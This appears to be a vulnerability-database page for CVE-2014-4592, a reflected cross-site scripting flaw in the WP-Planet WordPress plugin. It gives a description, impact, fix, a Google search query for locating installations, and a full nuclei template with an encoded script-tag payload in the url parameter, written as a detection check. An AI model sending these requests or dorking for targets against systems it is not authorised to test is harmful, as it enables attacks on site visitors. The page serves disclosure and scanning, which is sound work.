HexBrain

Browse / CVEs / CVE-2014-4592

CVE-2014-4592· czepol / wp-planet· CWE-79

WP Planet <= 0.1 - Cross-Site Scripting

mediumseverity
6.1CVSS score
4%likelihood of exploitation, next 30 days
91%of all CVEs are less likely
Readycheck to confirm it

A cross-site scripting vulnerability in rss.class/scripts/magpie_debug.php in the WP-Planet plugin 0.1 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the url parameter.

Impact

Attackers can execute arbitrary scripts in the victim's browser, leading to session hijacking or defacement.

Fix

Update to the latest version of WP-Planet plugin that addresses this vulnerability or remove the vulnerable script.

How to confirm it

Send: GET /wp-content/plugins//wp-planet/readme.txt ; GET /wp-content/plugins/wp-planet/rss.class/scripts/magpie_debug.php?url=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains in body_1 "WP Planet" AND contains in body_2 "<script>alert(document.domain)</script>" AND contains in header_2 "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2014-4592 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2014-4592

info:
  name: WP Planet <= 0.1 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: |
    A cross-site scripting vulnerability in rss.class/scripts/magpie_debug.php in the WP-Planet plugin 0.1 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the url parameter.
  impact: |
    Attackers can execute arbitrary scripts in the victim's browser, leading to session hijacking or defacement.
  remediation: |
    Update to the latest version of WP-Planet plugin that addresses this vulnerability or remove the vulnerable script.
  reference:
    - https://wpscan.com/vulnerability/3c9a3a97-8157-4976-8148-587d923e1fb3
    - https://nvd.nist.gov/vuln/detail/CVE-2014-4592
    - http://codevigilant.com/disclosure/wp-plugin-wp-planet-a3-cross-site-scripting-xss
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2014-4592
    cwe-id: CWE-79
    epss-score: 0.04032
    epss-percentile: 0.90686
    cpe: cpe:2.3:a:czepol:wp-planet:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: czepol
    product: wp-planet
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/wp-planet"
  tags: cve2014,cve,wordpress,wp-plugin,xss,wpscan,unauth,czepol,vuln

http:
  - raw:
      - |
        GET /wp-content/plugins//wp-planet/readme.txt HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-content/plugins/wp-planet/rss.class/scripts/magpie_debug.php?url=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - "WP Planet"

      - type: word
        part: body_2
        words:
          - "<script>alert(document.domain)</script>"

      - type: word
        part: header_2
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from